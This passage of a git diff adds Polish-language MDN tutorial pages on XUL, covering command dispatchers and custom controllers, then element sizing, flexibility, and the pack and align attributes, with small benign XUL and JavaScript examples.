+<p>Możemy także używać poleceń bez korzystania z elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code> lub przynajmniej, bez dodawania atrybutu <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> dla danego polecenia. W tym przypadku, polecenie nie będzie wywoływało bezpośrednio skryptu, ale w zamian, będzie wyszukiwało element lub funkcję, która obsłuży polecenie. Funkcja ta może być oddzielona od języka XUL oraz może być obsługiwane wewnętrznie. W celu znalezienia czegoś do obsługi poleceń, XUL używa obiektu o nazwie dyspozytor poleceń (
+
+ <i>ang. command dispatcher</i>
+ ). Obiekt ten lokalizuje obsługę dla poleceń. Polecenie obsługiwane jest przez tzw. kontroler (
+
+ <i>ang. controller</i>
+ ). Tak więc, kiedy wywoływane jest polecenie, dyspozytor poleceń lokalizuje kontroler, który obsłuży dane polecenie. Możemy wyobrazić sobie element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>, jako pewien typ kontrolera dla polecenia.</p>
+
+<p>Dyspozytor poleceń lokalizuje kontroler, przeszukując element posiadający aktualnie skupienie, pod kątem wspomnianego kontrolera, który jest w stanie obsłużyć zadane polecenie. Elementy XUL posiadają własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code></code>, która służy do ich sprawdzania. Możemy wykorzystać własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code></code> w celu dodania własnych kontrolerów. Przykładowo, możemy wykorzystać to w celu obsługi odpowiedzi pola list na polecenia &lt;tt&gt;wytnij&lt;/tt&gt;, &lt;tt&gt;kopiuj&lt;/tt&gt; i &lt;tt&gt;wklej&lt;/tt&gt;. W dalszej części artykułu będziemy analizować przykład obrazujący powyższą czynność. Domyślnie, tylko pola tekstowe posiadają robiący to wszystko kontroler. Obsługuje on operacje schowka, selekcji, cofania, przywracania oraz pewne operacje edycji. Warto zauważyć, że element może także posiadać wiele kontrolerów, które będą sprawdzane.</p>
+
+<p>Jeśli element posiadający aktualnie skupienie nie posiada odpowiedniego kontrolera, okno jest sprawdzane w następnej kolejności. Okno także posiada własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code></code>, którą możemy modyfikować wedle uznania. Jeśli skupienie znajduje się wewnątrz ramki, każda z nich prowadzi do okna znajdującego się na wyższym poziomie, które także jest sprawdzane. Oznacza to, że polecenia będą działać nawet, jeśli skupienie znajduje się wewnątrz ramki. Powyższa teza jest również prawdziwa dla przeglądarki, ze względu na mówiący o tym, że polecenia edycji wywoływane z głównego menu, będą działać wewnątrz obszaru z zawartością. Warto zaznaczyć, że HTML także posiada system poleceń i kontrolerów, chociaż nie można go wykorzystywać na nieuprzywilejowanych stronach, ale można użyć dla np. rozszerzeń przeglądarki. Jeśli okno nie zapewnia kontrolera zdolnego do obsługi poleceń, nic się nie stanie.</p>
+
+<p>Możemy także sprawić, aby dyspozytor poleceń, używał własności dokumentu o nazwie <code>commandDispatcher</code>. Jesteśmy również w stanie go odzyskiwać z listy kontrolerów dla elementu lub okna. Dyspozytor poleceń zawiera metody służące pobieraniu kontrolerów dla poleceń oraz służące pobieraniu oraz modyfikacji skupienia.</p>
+
+<h3 id="Dodawanie_kontroler.C3.B3w" name="Dodawanie_kontroler.C3.B3w">Dodawanie kontrolerów</h3>
+
+<p>Możemy również zaimplementować własne kontrolery odpowiadające na polecenia. Możemy nawet zmienić domyślną obsługę polecenia, poprzez umiejętne umieszczenie kontrolera. Kontroler powinien implementować cztery metody, przedstawione poniżej:</p>
+
+<dl>
+ <dt>supportsCommand (command) </dt>
+ <dd>Ta metoda powinna zwracać wartość <code>true</code>, jeśli kontroler wspiera polecenie. Jeśli natomiast zwraca <code>false</code>, znaczy to, że polecenie nie jest obsługiwane i dyspozytor poleceń będzie szukał innego kontrolera. Pojedynczy kontroler może wspierać wiele poleceń.</dd>
+ <dt>isCommandEnabled (command) </dt>
+ <dd>Ta metoda powinna zwracać wartość <code>true</code>, kiedy polecenie jest aktywne lub <code>false</code> w przeciwnym przypadku. Korespondujące przyciski będą dezaktywowane automatycznie.</dd>
+ <dt>doCommand (command) </dt>
+ <dd>Uruchamia polecenia. W tym miejscu umieszczamy kod obsługujący polecenie.</dd>
+ <dt>onEvent (event) </dt>
+ <dd>Ta metoda obsługuje zdarzenia.</dd>
+</dl>
+
+<h4 id="Przyk.C5.82ad:_Implementacja_kontrolera" name="Przyk.C5.82ad:_Implementacja_kontrolera">Przykład: Implementacja kontrolera</h4>
+
+<p>Przyjmijmy, że chcemy zaimplementować pole listy, które będzie obsługiwało polecenie &lt;tt&gt;usuń&lt;/tt&gt;. Kiedy użytkownik wybierze &lt;tt&gt;usuń&lt;/tt&gt; z menu, pole listy skasuje zaznaczony wiersz. W tym przypadku, wystarczy tylko dołączyć kontroler do pola wyboru, który wykona metoda <code>doCommand</code>.</p>
+
+<p>Spróbujmy otworzyć poniższy przykład (<a href="https://developer.mozilla.org/samples/xultu/examples/commands.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/commands.xul">Podgląd</a>) w oknie przeglądarki i wybrać pewne elementy z listy. Zauważmy, że polecenie <code>Usuń</code> w menu Edycja przeglądarki jest aktywne i jej wybór usunie wiersz.</p>
+
+<pre>&lt;window id="controller-example" title="Przykład kontrolera" onload="init();"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function init()
+{
+ var list = document.getElementById("theList");
+
+ var listController = {
+ supportsCommand : function(cmd){ return (cmd == "cmd_delete"); },
+ isCommandEnabled : function(cmd){
+ if (cmd == "cmd_delete") return (list.selectedItem != null);
+ return false;
+ },
+ doCommand : function(cmd){
+ list.removeItemAt(list.selectedIndex);
+ },
+ onEvent : function(evt){ }
+ };
+
+ list.controllers.appendController(listController);
+}
+&lt;/script&gt;
+
+&lt;listbox id="theList"&gt;
+ &lt;listitem label="Ocean"/&gt;
+ &lt;listitem label="Desert"/&gt;
+ &lt;listitem label="Jungle"/&gt;
+ &lt;listitem label="Swamp"/&gt;
+&lt;/listbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Kontroler (listControler) implementuje cztery metody opisane wyżej. Metoda <code>supportsCommand</code> zwraca <code>true</code> dla polecenia <code>cmd_delete</code>, które jest zastosowane w chwili wyboru opcji &lt;tt&gt;Usuń&lt;/tt&gt; z menu. Dla innych poleceń, zwracany jest <code>false</code>. Dzieje się tak dlatego, że kontrolery nie obsługują żadnego innego polecenia.</p>
+
+<p>Metoda <code>isCommandEnabled</code> zwraca wartość <code>true</code>, kiedy polecenie powinno być aktywne. W tym przypadku sprawdzamy czy w polu listy istnieje zaznaczony element i jeśli istnieje zwraca wartość <code>true</code>. W przeciwnym przypadku zwraca <code>false</code>. Jeśli usuniemy wszystkie wiersze, opcja &lt;tt&gt;Usuń&lt;/tt&gt; stanie się nieaktywna. W naszym prostym przykładzie może zajść możliwość kliknięcia na polu listy w celu jego uaktualnienia. Metoda <code>doCommand</code> będzie wywoływana, w chwili wyboru opcji &lt;tt&gt;Usuń&lt;/tt&gt; z menu. Spowoduje to, że zaznaczony wiersz pola listy zostanie usunięty. Natomiast metoda <code>onEvent</code> nie musi powodować żadnych efektów, więc nie dodajemy do niej żadnego kodu.</p>
+
+<h3 id="Przes.C5.82anianie_domy.C5.9Blnego_kontrolera" name="Przes.C5.82anianie_domy.C5.9Blnego_kontrolera">Przesłanianie domyślnego kontrolera</h3>
+
+<p>Dodajmy ten kontroler do pola listy, poprzez wywołanie metody <code>appendController</code> dla <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code></code> pola listy. <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIControllers.html">Obiekt kontrolera</a> posiada pewną liczbę metod, które mogą być używane do manipulowania kontrolerami. Przykładowo, istnieje także metoda <code>insertControllerAt</code>, która "wkłada" kontroler do elementu przed inne kontrolery. Może to być użyteczne w celu utworzenia komendy nadrzędnej. Poniższy przykład wyłącza opcję wklejenia dla danego pola tekstowego.</p>
+
+<pre>var tboxController = {
+ supportsCommand : function(cmd){ return (cmd == "cmd_paste"); },
+ isCommandEnabled : function(cmd){ return false; },
+ doCommand : function(cmd){ },
+ onEvent : function(evt){ }
+};
+
+document.getElementById("tbox").controllers.insertControllerAt(0,tboxController);
+</pre>
+
+<p>W tym przykładzie, wkładamy kontroler ma pozycję o numerze 0, co oznacza, że będzie on się znajdował przed wszystkimi innymi. Nowy kontroler wspiera polecenie 'cmd_paste' i zawsze wskazuje, że polecenie jest wyłączone, dezaktywowane. Domyślny kontroler pola tekstowego, nigdy nie zostanie wywołany ponieważ, dyspozytor poleceń znajdzie w pierwszej kolejności inny kontroler do obsługi, znajdujący się wyżej.</p>
+
+<p>Następnie, dowiemy się <a href="pl/Kurs_XUL/Aktualizacja_polece%c5%84">jak aktualizować polecenia</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrola_zaznaczenia_i_aktywacji_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Aktualizacja_poleceń">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_elementów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_elementów/index.html
new file mode 100644
index 0000000000..30a474661c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_elementów/index.html
@@ -0,0 +1,266 @@
+---
+title: Pozycjonowanie elementów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Pozycjonowanie_elementów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Element_Positioning
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Pomocnik_XUL:Model_pola" style="float: left;">« Poprzedni</a><a href="/pl/docs/Pomocnik_XUL:Szczegóły_modelu_pola">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule dowiemy się jak sterować pozycją i rozmiarem elementu.</p>
+
+<h2 id="Pozycjonowanie_elementu_pola" name="Pozycjonowanie_elementu_pola">Pozycjonowanie elementu pola</h2>
+
+<p>Dowiedzieliśmy się już jak pozycjonować elementy - albo poziomo, albo pionowo - wewnątrz pola. Często jednak będziemy musieli sterować pozycją i rozmiarem elementu wewnątrz pola. Dlatego najpierw musimy przyjrzeć się, jak działa pole.</p>
+
+<p>Pozycja elementu jest określona przez styl rozmieszczenia jego kontenera. Na przykład, przycisk w polu poziomym będzie umieszczony na prawo od poprzedniego przycisku. Rozmiar elementu jest określony przez dwa czynniki: zawartość elementu i rozmiar, jaki określisz. Rozmiar, jaki posiada element jest określony przez to, co dany element zawiera. Na przykład, szerokość przycisku jest określona przez ilość tekstu wewnątrz przycisku.</p>
+
+<p>Generalnie element będzie tak duży, jak to konieczne do przechowania jego zawartości i nie większy. Pewne elementy, takie jak pola tekstowe mają rozmiar domyślny, jakiego będziemy używać. Pole będzie wystarczająco duże dla przechowania elementów wewnątrz pola. Pole poziome zawierające trzy przyciski będzie tak szerokie, jak trzy przyciski plus niewielka ilość wypełnienia.</p>
+
+<div class="float-right"><img alt="grafika:boxstyle1n.png"></div>
+
+<p>Na poniższym rysunku pierwsze dwa przyciski mają zadany odpowiedni rozmiar dla przechowania swojego tekstu. Trzeci przycisk jest większy, ponieważ ma więcej zawartości. Szerokość pola zawierającego przyciski jest to całkowita szerokość przycisków plus wypełnienie między nimi. Wysokość przycisków ma odpowiedni rozmiar do przechowywanego tekstu.</p>
+
+<h3 id="Atrybuty_width_i_height" name="Atrybuty_width_i_height">Atrybuty <code>width</code> i <code>height</code></h3>
+
+<p>Niekiedy konieczna jest większa kontrola nad rozmiarem elementu w oknie. Jest kilka cech, które pozwolą ci sterować rozmiarem elementu. Szybkim sposobem na to jest po prostu nadanie elementowi atrybutów <code>width</code> i <code>height</code>, podobnych do tych, jakie można dodać do znacznika <code>img</code> w HTML-u. Poniżej mamy pokazany przykład:</p>
+
+<p><br>
+ <span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul">Podgląd</a></p>
+
+<pre>&lt;button label="OK" width="100" height="40"/&gt;
+</pre>
+
+<p>Jednakże takie rozwiązanie nie jest zalecane. Nie jest to zbyt przenośne i może nie mieścić się w pewnych motywach. Lepszym sposobem jest zastosowanie właściwości stylu, który działa podobnie do arkuszy stylu w HTML. Można zastosować poniższe własności CSS.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Web/CSS/width" title="Właściwość widthCSS ustawia szerokość elementu. Domyślnie ustawia szerokość obszaru zawartości , ale jeśli box-sizing jest ustawione na border-box, ustawia szerokość obszaru border ."><code>width</code></a> </dt>
+ <dd>Określa szerokość elementu.</dd>
+ <dt><a href="/pl/docs/Web/CSS/height" title="Własność height definiuje w elemencie wysokość obszaru zawartości. Obszar zawartości znajduje sięwewnątrz dopełnienia, obramowania i marginesów elementu."><code>height</code></a> </dt>
+ <dd>Określa wysokość elementu.</dd>
+</dl>
+
+<p>Poprzez ustawienie jednej z tych dwóch własności, element będzie stworzony z taką szerokością lub wysokością. Jeśli określisz tylko jedną właściwość rozmiaru, druga jest wyliczana, jeśli to jest konieczne. Rozmiar tych właściwości stylu powinien być określony jak liczba następująca po module.</p>
+
+<h3 id="Elastyczne_elementy" name="Elastyczne_elementy">Elastyczne elementy</h3>
+
+<p>Rozmiary są dosyć łatwe do obliczenia dla elementów nieelastycznych. Korzystają one po prostu ze swoich określonych szerokości i wysokości, a jeśli rozmiar nie został określony, domyślny rozmiar elementu jest wystarczająco duży, aby dopasować zawartość. Dla elementów elastycznych obliczenie jest odrobinę oszukańcze.</p>
+
+<p>Elementy elastyczne są tymi które mają atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> ustawioną na wartość większą niż 0. Przypomnij sobie, że elementy elastyczne rosną i kurczą się wypełniając dostępną przestrzeń. Ich domyślny rozmiar jest jeszcze obliczany tak samo jak elementów nieelastycznych. Demonstruje to poniższy przykład:</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul">Podgląd</a></p>
+
+<pre>&lt;window orient="horizontal"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;hbox&gt;
+ &lt;button label="Tak" flex="1"/&gt;
+ &lt;button label="Nie"/&gt;
+ &lt;button label="Nie znam jednego rozwiązania lub jakiegokolwiek innego"/&gt;
+&lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Początkowo okno pojawi się takie jak to na wcześniejszym obrazku. Pierwsze dwa przyciski będą ułatwione na odpowiedni domyślny rozmiar szerokości a przycisk trzeci będzie większy ponieważ ma dłuższą etykietę. Pierwszy przycisk jest elastyczny a wszystkie trzy elementy umieszczono wewnątrz pola. Szerokość pola będzie ustawiona na początkową całkowitą szerokość wszystkich trzech przycisków (około 430 pikseli na rysunku).</p>
+
+<p>Jeśli zwiększysz szerokość okna, elementy są sprawdzane pod kątem elastyczności aby wypełnić pustą przestrzeń jaka się pojawi. Przycisk jest jedynym elastycznym elementem, ale nie urośnie szerszy. jest tak ponieważ pole wewnątrz którego mieści się przycisk nie jest elastyczne. Element nieelastyczny nigdy nie zmienia rozmiaru nawet jeśli jest dostępna przestrzeń, więc również i przycisk nie może się zwiększyć. A zatem przycisk się nie poszerzy.</p>
+
+<p>Rozwiązaniem jest uczynienie również pola elastycznym. Zatem kiedy poszerzasz okno, będzie dostępna dodatkowa przestrzeń, więc pole będzie wzrastało wypełniając tą dodatkową przestrzeń. Ponieważ pole jest duże, będzie stworzone wewnątrz niego więcej dodatkowej przestrzeni, a elastyczny przycisk wewnątrz niego wzrośnie wypełniając dostępną przestrzeń. Ten proces powtarza się, jeśli to konieczne, dla wielu zagnieżdżonych pól.</p>
+
+<h2 id="Ustawienie_minimalnego_i_maksymalnego_rozmiaru" name="Ustawienie_minimalnego_i_maksymalnego_rozmiaru">Ustawienie minimalnego i maksymalnego rozmiaru</h2>
+
+<p>Możemy pozwolić elementowi, aby był elastyczny ale ograniczyć rozmiar, aby nie mógł być większy niż pewien rozmiar lub możemy ustawić minimalny rozmiar. Możemy to zrobić poprzez zastosowanie czterech atrybutów:</p>
+
+<dl>
+ <dt><code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code> </dt>
+ <dd>Określa minimalną długość jaką może posiadać element.</dd>
+ <dt><code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code> </dt>
+ <dd>Określa minimalną wysokość jaką może posiadać element.</dd>
+ <dt><code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code> </dt>
+ <dd>Określa maksymalną długość jaką może posiadać element.</dd>
+ <dt><code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code> </dt>
+ <dd>Określa maksymalną wysokość jaką może posiadać element.</dd>
+</dl>
+
+<p><br>
+ Wartości te są zawsze mierzone w pikselach. Możemy również zastosować odpowiednią własność CSS, <code>min-width</code>, <code>min-height</code>, <code>max-width</code> i <code>max-height</code>.</p>
+
+<p>Własności te są tylko użyteczne w przypadku elementów elastycznych. Poprzez ustawienie maksymalnej wysokości, na przykład: obszar przycisku będzie rósł tylko do pewnej maksymalnej wysokości. Będziemy mogli jeszcze zmienić rozmiar okna poza ten punkt, ale przycisk przestanie zwiększać swój rozmiar. Pudełko, w którego wnętrzu jest przycisk, również będzie rosło, chyba, że ustawimy mu również wysokość pudełka.</p>
+
+<p>Jeśli dwa przyciski są również elastyczne, normalnie oba będą dzieliły ilość dodatkowej przestrzeni. Jeśli jeden przycisk ma maksymalną szerokość, drugi będzie jeszcze kontynuował wzrost i zabierał całą pozostałą przestrzeń.</p>
+
+<p>Jeśli pudełko ma maksymalną szerokość lub wysokość, dzieci nie będą mogły wzrastać bardziej, niż do maksymalnego rozmiaru. Tu mamy kilka przykładów ustawienia szerokości i wysokości:</p>
+
+<h3 id="Przyk.C5.82ady_ustawienia_szeroko.C5.9Bci_i_wysoko.C5.9Bci" name="Przyk.C5.82ady_ustawienia_szeroko.C5.9Bci_i_wysoko.C5.9Bci">Przykłady ustawienia szerokości i wysokości</h3>
+
+<pre>&lt;button label="1" style="width: 100px;"/&gt;
+&lt;button label="2" style="width: 100em; height: 10px;"/&gt;
+&lt;button label="3" flex="1" style="min-width: 50px;"/&gt;
+&lt;button label="4" flex="1" style="min-height: 2ex; max-width: 100px"/&gt;
+&lt;textbox flex="1" style="max-width: 10em;"/&gt;
+&lt;description style="max-width: 50px"&gt;To jest nudny, lecz w prosty sposób
+zawinięty do nowej linii tekst.&lt;/description&gt;
+</pre>
+
+<dl>
+ <dt>Przykład 1 </dt>
+ <dd>Pierwszy przycisk będzie wyświetlony z szerokością 100 pikseli (px oznacza piksele). Musisz dodać moduł lub szerokość będzie ignorowana.</dd>
+ <dt>Przykład 2 </dt>
+ <dd>Drugi przycisk będzie wyświetlony z wysokością 10 pikseli i szerokości 100em (em jest to rozmiar znaku bieżącej czcionki).</dd>
+ <dt>Przykład 3 </dt>
+ <dd>Trzeci przycisk jest elastyczny więc będzie rósł w oparciu o rozmiar pola w którym jest przycisk. Jednakże, przycisk nigdy nie będzie dzielony na mniej niż 50 pikseli. Często elastyczne komponenty takie jak ochraniacz zaabsorbują pozostałą przestrzeń, przełamując współczynnik flex.</dd>
+ <dt>Przykład 4 </dt>
+ <dd>Czwarty przycisk jest elastyczny i nigdy nie będzie miał wysokości mniejszej niż 2ex (x jest zazwyczaj wysokością litery x w bieżącej czcionce) lub nie będzie szerszy niż 100 pikseli.</dd>
+ <dt>Przykład 5 </dt>
+ <dd>Tekst wejściowy jest elastyczny, ale nigdy nie wzrośnie aby być większym niż 100em. Często będziesz chciał stosować em kiedy określasz rozmiary tekstu. Ten moduł jest użyteczny dla pól tekstowych, aby byłyby one zawsze odpowiedniego rozmiaru, nawet jeśli czcionka jest bardzo duża.</dd>
+ <dt>Przykład 6 </dt>
+ <dd>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> jest wymuszony po to aby mieć maksymalną szerokość 50 pikseli. Tekst wewnątrz będzie zawijany do kolejnej linii po pięćdziesiątym pikselu.</dd>
+</dl>
+
+<div class="highlight">
+<h4 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki">Nasz przykład: &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h4>
+
+<p>Dodajmy, więc niektóre style do naszego okienka dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt;. Tworzymy pole tekstowe o zmiennych wymiarach, tak, aby pasowało do całego okna.</p>
+
+<pre>&lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+</pre>
+
+<div class="float-right"><img alt="Grafika:boxstyle1.png"></div>
+
+<p>W tym przykładzie tekst wejściowy jest elastyczny. W ten sposób, będzie się zwiększał, jeśli użytkownik zmieni rozmiar okienka dialogowego. Jest to użyteczne, jeśli użytkownik chce wpisać długi ciąg znaków tekst. Także, minimalna szerokość, jaką możemy ustawić to 15 em, więc pole tekstowe będzie musiała zawsze posiadać, co najmniej 15 znaków. Jeśli użytkownik zmieni rozmiar okna dialogowego do bardzo małego, to wprowadzany tekst nie będzie się kurczył poza obszar 15 em. Zostanie narysowany wtedy, gdy rozszerzymy nasz obszar poza brzeg okna. Zwróć uwagę, że na obrazku z boku, wprowadzony tekst zwiększył swój rozmiar, gdy rozszerzymy okno do pełnego rozmiaru.</p>
+</div>
+
+<h2 id="Pola_upakowane" name="Pola_upakowane">Pola upakowane</h2>
+
+<p>Powiedzmy, że mamy pole z dwoma elementami potomnymi, żaden nie jest elastyczny, ale pole jest elastyczne. Na przykład:</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul">Podgląd</a></p>
+
+<pre>&lt;box flex="1"&gt;
+ &lt;button label="Happy"/&gt;
+ &lt;button label="Sad"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>Jeśli zmienisz rozmiar okna, pole wystarczy do dopasowania rozmiaru okna. Przyciski nie są elastyczne więc nie będą zmieniać swojej szerokości. Wynikiem jest dodatkowa przestrzeń, która pojawi się po prawej stronie okna, wewnątrz pola. Możesz sobie jednak życzyć aby dodatkowa przestrzeń pojawiła się po lewej stronie, aby przyciski pozostały poprawnie ustawione w oknie.</p>
+
+<p>Możesz dokonać tego przez umieszczenie separatora wewnątrz pola, ale może wyglądać to niechlujnie, kiedy musisz to robić wiele razy. Lepszym sposobem jest zastawanie dodatkowego atrybutu <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code> w polu. Atrybut ten wskazuje jak <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code> (spakować... ale zobacz czcionkę) elementy potomne wewnątrz pola. Dla orientacji poziomej pól steruje poziomym pozycjonowaniem potomków, zaś dla orientacji pionowej pól steruje pionowym pozycjonowaniem potomków. Możesz zastosować następujące wartości:</p>
+
+<p><b>You could accomplish this by placing a <code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> inside the box, but that gets messy when you have to do it numerous times. A better way is to use an additional attribute <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code> on the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>. This attribute indicates how to <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code> the child elements inside the box. For horizontally oriented boxes, it controls the horizonal positioning of the children. For vertically oriented boxes, it controls the vertical positioning of the children. You can use the following values:</b></p>
+
+<dl>
+ <dt>start </dt>
+ <dd>Pozycjonuje elementy od lewego brzegu dla pól poziomych i od górnego brzegu dla pól pionowych. Jest to wartość domyślna.</dd>
+ <dt>center </dt>
+ <dd>Centruje elementy potomne w polu.</dd>
+ <dt>end </dt>
+ <dd>Pozycjonuje elementy od prawego brzegu dla pól poziomych i od dolnego brzegu dla pól pionowych.</dd>
+</dl>
+
+<p>Atrybut <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code> jest stosowany dla pola zawierającego elementy będące pakowanymi, a nie same elementy.</p>
+
+<p>Możemy zmienić wcześniejszy przykład do centrowania elementów jak pokazano:</p>
+
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul">Podgląd</a></p>
+
+<pre>&lt;box flex="1" pack="center"&gt;
+ &lt;button label="Happy"/&gt;
+ &lt;button label="Sad"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>Teraz, kiedy okno zmieniło rozmiar, przyciski są umieszczone centralnie. Porównaj to zachowanie z tym z poprzedniego przykładu.</p>
+
+<h2 id="Pole_regulowane" name="Pole_regulowane">Pole regulowane</h2>
+
+<p>Jeśli zmienisz rozmiar okna poziomo w powyższym przykładzie Happy-Sad, pole zwiększy szerokość. Jeśli zmienisz rozmiar okna pionowo, zauważysz, że przyciski zwiększyły wysokość. Jest tak ponieważ elastyczność jest zakładana domyślnie w tym drugim kierunku.</p>
+
+<p>Możesz sterować tym zachowaniem atrybutem <code><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></code>. Dla pól poziomych steruje pozycjonowaniem potomków pionowo. Dla pól pionowych steruje pozycjonowaniem poziomym potomków. Możliwie wartości są podobne do tych dla <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code>.</p>
+
+<dl>
+ <dt>start </dt>
+ <dd>Ustawia elementy wzdłuż górnego brzegu dla pól poziomych i wzdłuż lewego brzegu dla pól pionowych.</dd>
+ <dt>center </dt>
+ <dd>Centruje elementy potomne w polu.</dd>
+ <dt>end </dt>
+ <dd>Ustawia elementy wzdłuż dolnego brzegu dla pól poziomych i wzdłuż prawego brzegu pól pionowych.</dd>
+ <dt>baseline </dt>
+ <dd>Ustawia elementy tak, aby tekst był ustawiony w rzędzie. Jest to użyteczne dla pól poziomych.</dd>
+ <dt>stretch </dt>
+ <dd>Ta wartość, domyślna, powoduje, że elementy rosną do odpowiedniego rozmiaru pola, podobnie do elementów elastycznych, ale w przeciwnym kierunku.</dd>
+</dl>
+
+<p>Jak przy atrybucie <code><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></code>, atrybut <code><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></code> stosuje się dla zawartości pola dla elementów będących ustawianymi, a nie dla samych elementów.</p>
+
+<p>Na przykład, pierwsze pole poniżej, będzie miało swój obszar potomny, ponieważ jest domyślny. Drugie pole ma atrybut <code><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></code>, więc jego potomkowie będą umieszczeni centralnie.</p>
+
+<p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul">Podgląd</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="yesno" title="Pytanie" orient="horizontal"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;hbox&gt;
+ &lt;button label="Tak"/&gt;
+ &lt;button label="Nie"/&gt;
+ &lt;/hbox&gt;
+ &lt;hbox align="center"&gt;
+ &lt;button label="Może"/&gt;
+ &lt;button label="Być może"/&gt;
+ &lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<div class="float-right"><img alt="grafika:boxstyle2-b.png"></div>
+
